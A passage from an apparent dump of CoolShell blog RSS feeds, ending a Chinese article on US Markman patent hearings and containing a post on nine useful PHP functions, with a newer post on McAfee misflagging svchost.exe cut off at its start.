Inc.案，这些司法实践大大拓展与丰富了“马克曼听证”使用的实体和程序规则，使之日渐成为美国专利诉讼中一个复杂、完备的司法程序。以至于竟然有人开发了模拟“马克曼听证”程序，只要你愿意，可以下载并训练，以熟悉和确保有真正的权利要求书解释时不会出现不利于自己的问题。</p>\n<p>但是，该听证带来的问题也逐渐受到重视。有人质疑说该程序导致专利诉讼费用增加，因为“马克曼听证”通常会单独进行，且程序复杂，因此导致当事人花费大量的时间与精力，更为重要的是，由于40%至60%的联邦地区法院案件会在联邦巡回上诉法院被推翻，因此，花费巨大的“马克曼听证”似乎价值有限。同时，权利要求书的解释要求是不多不少，忠实于技术发明思想与发明事实，但由于地区法院分散，法官的相关技术知识不十分专业，将权利要求书解释这样的问题交给他们，难免会带来一些无法克服的问题。</p>\n<p>“马克曼听证”制度的启示</p>\n<p>我国民事诉讼中并无陪审团制度，案件的事实问题与法律问题均由法官审理与确定。在专利侵权诉讼中，对于案件中涉及到的技术问题可以通过专家鉴定等方式解决，但并不因此免除法官审理案件的义务，即法律问题的判断归于法官，事实的法律属性判断仍然归于法官。同时，权利要求书的解释在我国的专利侵权诉讼中并不是一个单独的程序，而是合并在案件审理过程中。因此，仅就我国的司法审判而言，“马克曼听证”制度并无直接的借鉴意义。</p>\n<p>但是，对于那些已经走出和正在走出国门的企业来说，了解与掌握这一重要的专利诉讼程序却是极其重要的。通领科技集团的积极尝试充分证明了这一点，而且随着这一程序的不断成熟，美国国际贸易法院（ITC）也开始在审理时适用“马克曼听证”制度。所以，知道“马克曼听证”意味着什么，确保所提交的用于解释权利要求的文件确实充分，学会利用“马克曼听证”，无论是对于破解美国的专利诉讼威胁，还是为未来准备有效的法律武器，无疑都非常重要。（知识产权报　作者　魏玮）</p>\n<p>&nbsp;</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"扎克伯格的一封信：关于Facebook IPO\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_title\">扎克伯格的一封信：关于Facebook IPO</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li><li ><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"Facebook 的系统架构\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_title\">Facebook 的系统架构</a></li><li ><a href=\"https://coolshell.cn/articles/3396.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png\" alt=\"Facebook全球关系网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3396.html\" class=\"wp_rp_title\">Facebook全球关系网</a></li><li ><a href=\"https://coolshell.cn/articles/8460.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/go2-150x150.jpg\" alt=\"Go 语言简介（上）— 语法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8460.html\" class=\"wp_rp_title\">Go 语言简介（上）— 语法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18140.html\">关于Facebook 的 React 专利许可证</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/18140.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>33</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-30.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 30 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=30\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 04 May 2011 00:41:56 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>九个PHP很有用的功能</title>\n\t\t<link>https://coolshell.cn/articles/2394.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2394.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 06 May 2010 00:37:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2394</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是九个PHP中很有用的功能，不知道你用过了吗？ 1. 函数的任意数目的参数 你可能知道PHP允许你定义一个默认参数的函数。但你可能并不知道PHP还允许你定义...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2394.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是九个PHP中很有用的功能，不知道你用过了吗？</p>\n<h4><span>1. 函数的任意数目的参数</span></h4>\n<p>你可能知道PHP允许你定义一个默认参数的函数。但你可能并不知道PHP还允许你定义一个完全任意的参数的函数</p>\n<p>下面是一个示例向你展示了默认参数的函数：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 两个默认参数的函数\nfunction foo($arg1 = &#039;&#039;, $arg2 = &#039;&#039;) {\n\n\techo &quot;arg1: $arg1\\n&quot;;\n\techo &quot;arg2: $arg2\\n&quot;;\n\n}\n\nfoo(&#039;hello&#039;,&#039;world&#039;);\n/* 输出:\narg1: hello\narg2: world\n*/\n\nfoo();\n/* 输出:\narg1:\narg2:\n*/\n</pre>\n<p>现在我们来看一看一个不定参数的函数，其使用到了?<a href=\"http://us2.php.net/manual/en/function.func-get-args.php\">func_get_args()</a>方法：<br />\n<span id=\"more-2394\"></span></p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 是的，形参列表为空\nfunction foo() {\n\n\t// 取得所有的传入参数的数组\n\t$args = func_get_args();\n\n\tforeach ($args as $k =&gt; $v) {\n\t\techo &quot;arg&quot;.($k+1).&quot;: $v\\n&quot;;\n\t}\n\n}\n\nfoo();\n/* 什么也不会输出 */\n\nfoo(&#039;hello&#039;);\n/* 输出\narg1: hello\n*/\n\nfoo(&#039;hello&#039;, &#039;world&#039;, &#039;again&#039;);\n/* 输出\narg1: hello\narg2: world\narg3: again\n*/\n</pre>\n<h4><span>2. </span>使用 Glob() 查找文件</h4>\n<p>很多PHP的函数都有一个比较长的自解释的函数名，但是，当你看到?<a href=\"http://us.php.net/manual/en/function.glob.php\">glob()</a> 的时候，你可能并不知道这个函数是用来干什么的，除非你对它已经很熟悉了。</p>\n<p>你可以认为这个函数就好?<a href=\"http://php.net/manual/en/function.scandir.php\">scandir()</a> 一样，其可以用来查找文件。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 取得所有的后缀为PHP的文件\n$files = glob(&#039;*.php&#039;);\n\nprint_r($files);\n/* 输出:\nArray\n(\n    [0] =&gt; phptest.php\n    [1] =&gt; pi.php\n    [2] =&gt; post_output.php\n    [3] =&gt; test.php\n)\n*/\n</pre>\n<p>你还可以查找多种后缀名</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 取PHP文件和TXT文件\n$files = glob(&#039;*.{php,txt}&#039;, GLOB_BRACE);\n\nprint_r($files);\n/* 输出:\nArray\n(\n    [0] =&gt; phptest.php\n    [1] =&gt; pi.php\n    [2] =&gt; post_output.php\n    [3] =&gt; test.php\n    [4] =&gt; log.txt\n    [5] =&gt; test.txt\n)\n*/\n</pre>\n<p>你还可以加上路径：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n$files = glob(&#039;../images/a*.jpg&#039;);\n\nprint_r($files);\n/* 输出:\nArray\n(\n    [0] =&gt; ../images/apple.jpg\n    [1] =&gt; ../images/art.jpg\n)\n*/\n</pre>\n<p>如果你想得到绝对路径，你可以调用?<a href=\"http://php.net/manual/en/function.realpath.php\">realpath()</a> 函数：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n$files = glob(&#039;../images/a*.jpg&#039;);\n\n// applies the function to each array element\n$files = array_map(&#039;realpath&#039;,$files);\n\nprint_r($files);\n/* output looks like:\nArray\n(\n    [0] =&gt; C:\\wamp\\www\\images\\apple.jpg\n    [1] =&gt; C:\\wamp\\www\\images\\art.jpg\n)\n*/\n</pre>\n<h4><span>3. </span>内存使用信息</h4>\n<p>观察你程序的内存使用能够让你更好的优化你的代码。</p>\n<p>PHP 是有垃圾回收机制的，而且有一套很复杂的内存管理机制。你可以知道你的脚本所使用的内存情况。要知道当前内存使用情况，你可以使用?<a href=\"http://us2.php.net/manual/en/function.memory-get-usage.php\">memory_get_usage()</a> 函数，如果你想知道使用内存的峰值，你可以调用<a href=\"http://us2.php.net/manual/en/function.memory-get-peak-usage.php\">memory_get_peak_usage()</a> 函数。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\necho &quot;Initial: &quot;.memory_get_usage().&quot; bytes \\n&quot;;\n/* 输出\nInitial: 361400 bytes\n*/\n\n// 使用内存\nfor ($i = 0; $i &lt; 100000; $i++) {\n\t$array []= md5($i);\n}\n\n// 删除一半的内存\nfor ($i = 0; $i &lt; 100000; $i++) {\n\tunset($array[$i]);\n}\n\necho &quot;Final: &quot;.memory_get_usage().&quot; bytes \\n&quot;;\n/* prints\nFinal: 885912 bytes\n*/\n\necho &quot;Peak: &quot;.memory_get_peak_usage().&quot; bytes \\n&quot;;\n/* 输出峰值\nPeak: 13687072 bytes\n*/\n</pre>\n<h4><span>4. </span>CPU使用信息</h4>\n<p>使用?<a href=\"http://us2.php.net/manual/en/function.getrusage.php\">getrusage()</a> 函数可以让你知道CPU的使用情况。注意，这个功能在Windows下不可用。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\nprint_r(getrusage());\n/* 输出\nArray\n(\n    [ru_oublock] =&gt; 0\n    [ru_inblock] =&gt; 0\n    [ru_msgsnd] =&gt; 2\n    [ru_msgrcv] =&gt; 3\n    [ru_maxrss] =&gt; 12692\n    [ru_ixrss] =&gt; 764\n    [ru_idrss] =&gt; 3864\n    [ru_minflt] =&gt; 94\n    [ru_majflt] =&gt; 0\n    [ru_nsignals] =&gt; 1\n    [ru_nvcsw] =&gt; 67\n    [ru_nivcsw] =&gt; 4\n    [ru_nswap] =&gt; 0\n    [ru_utime.tv_usec] =&gt; 0\n    [ru_utime.tv_sec] =&gt; 0\n    [ru_stime.tv_usec] =&gt; 6269\n    [ru_stime.tv_sec] =&gt; 0\n)\n\n*/\n</pre>\n<p>这个结构看上出很晦涩，除非你对CPU很了解。下面一些解释：</p>\n<ul>\n<li>ru_oublock: 块输出操作</li>\n<li>ru_inblock: 块输入操作</li>\n<li>ru_msgsnd: 发送的message</li>\n<li>ru_msgrcv: 收到的message</li>\n<li>ru_maxrss: 最大驻留集大小</li>\n<li>ru_ixrss: 全部共享内存大小</li>\n<li>ru_idrss:全部非共享内存大小</li>\n<li>ru_minflt: 页回收</li>\n<li>ru_majflt: 页失效</li>\n<li>ru_nsignals: 收到的信号</li>\n<li>ru_nvcsw: 主动上下文切换</li>\n<li>ru_nivcsw: 被动上下文切换</li>\n<li>ru_nswap: 交换区</li>\n<li>ru_utime.tv_usec: 用户态时间 (microseconds)</li>\n<li>ru_utime.tv_sec: 用户态时间(seconds)</li>\n<li>ru_stime.tv_usec: 系统内核时间 (microseconds)</li>\n<li>ru_stime.tv_sec: 系统内核时间?(seconds)</li>\n</ul>\n<p>要看到你的脚本消耗了多少CPU，我们需要看看“用户态的时间”和“系统内核时间”的值。秒和微秒部分是分别提供的，您可以把微秒值除以100万，并把它添加到秒的值后，可以得到有小数部分的秒数。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// sleep for 3 seconds (non-busy)\nsleep(3);\n\n$data = getrusage();\necho &quot;User time: &quot;.\n\t($data[&#039;ru_utime.tv_sec&#039;] +\n\t$data[&#039;ru_utime.tv_usec&#039;] / 1000000);\necho &quot;System time: &quot;.\n\t($data[&#039;ru_stime.tv_sec&#039;] +\n\t$data[&#039;ru_stime.tv_usec&#039;] / 1000000);\n\n/* 输出\nUser time: 0.011552\nSystem time: 0\n*/\n</pre>\n<p>sleep是不占用系统时间的，我们可以来看下面的一个例子：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// loop 10 million times (busy)\nfor($i=0;$i&lt;10000000;$i++) {\n\n}\n\n$data = getrusage();\necho &quot;User time: &quot;.\n\t($data[&#039;ru_utime.tv_sec&#039;] +\n\t$data[&#039;ru_utime.tv_usec&#039;] / 1000000);\necho &quot;System time: &quot;.\n\t($data[&#039;ru_stime.tv_sec&#039;] +\n\t$data[&#039;ru_stime.tv_usec&#039;] / 1000000);\n\n/* 输出\nUser time: 1.424592\nSystem time: 0.004204\n*/\n</pre>\n<p>这花了大约14秒的CPU时间，几乎所有的都是用户的时间，因为没有系统调用。</p>\n<p>系统时间是CPU花费在系统调用上的上执行内核指令的时间。下面是一个例子：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n$start = microtime(true);\n// keep calling microtime for about 3 seconds\nwhile(microtime(true) - $start &lt; 3) {\n\n}\n\n$data = getrusage();\necho &quot;User time: &quot;.\n\t($data[&#039;ru_utime.tv_sec&#039;] +\n\t$data[&#039;ru_utime.tv_usec&#039;] / 1000000);\necho &quot;System time: &quot;.\n\t($data[&#039;ru_stime.tv_sec&#039;] +\n\t$data[&#039;ru_stime.tv_usec&#039;] / 1000000);\n\n/* prints\nUser time: 1.088171\nSystem time: 1.675315\n*/\n</pre>\n<p>我们可以看到上面这个例子更耗CPU。</p>\n<h4><span>5. </span>系统常量</h4>\n<p>PHP 提供非常有用的<a href=\"http://php.net/manual/en/language.constants.predefined.php\">系统常量</a> 可以让你得到当前的行号 (__LINE__)，文件 (__FILE__)，目录 (__DIR__)，函数名 (__FUNCTION__)，类名(__CLASS__)，方法名(__METHOD__) 和名字空间 (__NAMESPACE__)，很像C语言。</p>\n<p>我们可以以为这些东西主要是用于调试，当也不一定，比如我们可以在include其它文件的时候使用?__FILE__ (当然，你也可以在 PHP 5.3以后使用 __DIR__ )，下面是一个例子。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// this is relative to the loaded script&#039;s path\n// it may cause problems when running scripts from different directories\nrequire_once(&#039;config/database.php&#039;);\n\n// this is always relative to this file&#039;s path\n// no matter where it was included from\nrequire_once(dirname(__FILE__) . &#039;/config/database.php&#039;);\n</pre>\n<p>下面是使用 __LINE__ 来输出一些debug的信息，这样有助于你调试程序：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// some code\n// ...\nmy_debug(&quot;some debug message&quot;, __LINE__);\n/* 输出\nLine 4: some debug message\n*/\n\n// some more code\n// ...\nmy_debug(&quot;another debug message&quot;, __LINE__);\n/* 输出\nLine 11: another debug message\n*/\n\nfunction my_debug($msg, $line) {\n\techo &quot;Line $line: $msg\\n&quot;;\n}\n</pre>\n<h4><span>6.生成唯一的ID</span></h4>\n<p>有很多人使用 md5() 来生成一个唯一的ID，如下所示：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// generate unique string\necho md5(time() . mt_rand(1,1000000));\n</pre>\n<p>其实，PHP中有一个叫?<a href=\"http://us2.php.net/manual/en/function.uniqid.php\">uniqid()</a> 的函数是专门用来干这个的：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// generate unique string\necho uniqid();\n/* 输出\n4bd67c947233e\n*/\n\n// generate another unique string\necho uniqid();\n/* 输出\n4bd67c9472340\n*/\n</pre>\n<p>可能你会注意到生成出来的ID前几位是一样的，这是因为生成器依赖于系统的时间，这其实是一个非常不错的功能，因为你是很容易为你的这些ID排序的。这点MD5是做不到的。</p>\n<p>你还可以加上前缀避免重名：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 前缀\necho uniqid(&#039;foo_&#039;);\n/* 输出\nfoo_4bd67d6cd8b8f\n*/\n\n// 有更多的熵\necho uniqid(&#039;&#039;,true);\n/* 输出\n4bd67d6cd8b926.12135106\n*/\n\n// 都有\necho uniqid(&#039;bar_&#039;,true);\n/* 输出\nbar_4bd67da367b650.43684647\n*/\n</pre>\n<p>而且，生成出来的ID会比MD5生成的要短，这会让你节省很多空间。</p>\n<h4><span>7. </span>序列化</h4>\n<p>你是否会把一个比较复杂的数据结构存到数据库或是文件中？你并不需要自己去写自己的算法。PHP早已为你做好了，其提供了两个函数：?<a href=\"http://php.net/manual/en/function.serialize.php\">serialize()</a> 和 <a href=\"http://www.php.net/manual/en/function.unserialize.php\">unserialize()</a>:</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 一个复杂的数组\n$myvar = array(\n\t&#039;hello&#039;,\n\t42,\n\tarray(1,&#039;two&#039;),\n\t&#039;apple&#039;\n);\n\n// 序列化\n$string = serialize($myvar);\n\necho $string;\n/* 输出\na:4:{i:0;s:5:&quot;hello&quot;;i:1;i:42;i:2;a:2:{i:0;i:1;i:1;s:3:&quot;two&quot;;}i:3;s:5:&quot;apple&quot;;}\n*/\n\n// 反序例化\n$newvar = unserialize($string);\n\nprint_r($newvar);\n/* 输出\nArray\n(\n    [0] =&gt; hello\n    [1] =&gt; 42\n    [2] =&gt; Array\n        (\n            [0] =&gt; 1\n            [1] =&gt; two\n        )\n\n    [3] =&gt; apple\n)\n*/\n</pre>\n<p>这是PHP的原生函数，然而在今天JSON越来越流行，所以在PHP5.2以后，PHP开始支持JSON，你可以使用 json_encode() 和 json_decode() 函数</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// a complex array\n$myvar = array(\n\t&#039;hello&#039;,\n\t42,\n\tarray(1,&#039;two&#039;),\n\t&#039;apple&#039;\n);\n\n// convert to a string\n$string = json_encode($myvar);\n\necho $string;\n/* prints\n[&quot;hello&quot;,42,[1,&quot;two&quot;],&quot;apple&quot;]\n*/\n\n// you can reproduce the original variable\n$newvar = json_decode($string);\n\nprint_r($newvar);\n/* prints\nArray\n(\n    [0] =&gt; hello\n    [1] =&gt; 42\n    [2] =&gt; Array\n        (\n            [0] =&gt; 1\n            [1] =&gt; two\n        )\n\n    [3] =&gt; apple\n)\n*/\n</pre>\n<p>这看起来更为紧凑一些了，而且还兼容于Javascript和其它语言。但是对于一些非常复杂的数据结构，可能会造成数据丢失。</p>\n<h4><span>8. </span>字符串压缩</h4>\n<p>当我们说到压缩，我们可能会想到文件压缩，其实，字符串也是可以压缩的。PHP提供了?<a href=\"http://php.net/manual/en/function.gzcompress.php\">gzcompress()</a> 和 <a href=\"http://www.php.net/manual/en/function.gzuncompress.php\">gzuncompress()</a> 函数：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n$string =\n&quot;Lorem ipsum dolor sit amet, consectetur\nadipiscing elit. Nunc ut elit id mi ultricies\nadipiscing. Nulla facilisi. Praesent pulvinar,\nsapien vel feugiat vestibulum, nulla dui pretium orci,\nnon ultricies elit lacus quis ante. Lorem ipsum dolor\nsit amet, consectetur adipiscing elit. Aliquam\npretium ullamcorper urna quis iaculis. Etiam ac massa\nsed turpis tempor luctus. Curabitur sed nibh eu elit\nmollis congue. Praesent ipsum diam, consectetur vitae\nornare a, aliquam a nunc. In id magna pellentesque\ntellus posuere adipiscing. Sed non mi metus, at lacinia\naugue. Sed magna nisi, ornare in mollis in, mollis\nsed nunc. Etiam at justo in leo congue mollis.\nNullam in neque eget metus hendrerit scelerisque\neu non enim. Ut malesuada lacus eu nulla bibendum\nid euismod urna sodales. &quot;;\n\n$compressed = gzcompress($string);\n\necho &quot;Original size: &quot;. strlen($string).&quot;\\n&quot;;\n/* 输出原始大小\nOriginal size: 800\n*/\n\necho &quot;Compressed size: &quot;. strlen($compressed).&quot;\\n&quot;;\n/* 输出压缩后的大小\nCompressed size: 418\n*/\n\n// 解压缩\n$original = gzuncompress($compressed);\n</pre>\n<p>几乎有<span style=\"font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;\">50% 压缩比率。同时，你还可以使用?<a href=\"http://www.php.net/manual/en/function.gzencode.php\">gzencode()</a> 和 <a href=\"http://www.php.net/manual/en/function.gzdecode.php\">gzdecode()</a> 函数来压缩，只不用其用了不同的压缩算法。</span></p>\n<h4><span>9. 注册停止</span>函数</h4>\n<p>有一个函数叫做?<a href=\"http://www.php.net/manual/en/function.register-shutdown-function.php\">register_shutdown_function()</a>，可以让你在整个脚本停时前运行代码。让我们看下面的一个示例：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// capture the start time\n$start_time = microtime(true);\n\n// do some stuff\n// ...\n\n// display how long the script took\necho &quot;execution took: &quot;.\n\t\t(microtime(true) - $start_time).\n\t\t&quot; seconds.&quot;;\n</pre>\n<p>上面这个示例只不过是用来计算某个函数运行的时间。然后，如果你在函数中间调用?<a href=\"http://php.net/manual/en/function.exit.php\">exit()</a> 函数，那么你的最后的代码将不会被运行到。并且，如果该脚本在浏览器终止（用户按停止按钮），其也无法被运行。</p>\n<p>而当我们使用了register_shutdown_function()后，你的程序就算是在脚本被停止后也会被运行：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n$start_time = microtime(true);\n\nregister_shutdown_function(&#039;my_shutdown&#039;);\n\n// do some stuff\n// ...\n\nfunction my_shutdown() {\n\tglobal $start_time;\n\n\techo &quot;execution took: &quot;.\n\t\t\t(microtime(true) - $start_time).\n\t\t\t&quot; seconds.&quot;;\n}\n</pre>\n<p>文章：<a href=\"http://net.tutsplus.com/tutorials/php/9-useful-php-functions-and-features-you-need-to-know/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" alt=\"PHP分页技术的代码和示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_title\">PHP分页技术的代码和示例</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2394.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>26</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>McAfee误杀svchost.exe</title>\n\t\t<link>https://coolshell.cn/articles/2376.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2376.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 23 Apr 2010 00:45:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[McAfee]]></category>\n\t\t<category><![CDATA[svchost]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2376</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这两天，杀毒软件又出事了。还记得2007年5月，那次是Norton把简体中文Windows下的netapi32.dll 和 lsasrv.dll。最近的一次是，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2376.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2376.html\">McAfee误杀svchost.exe</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 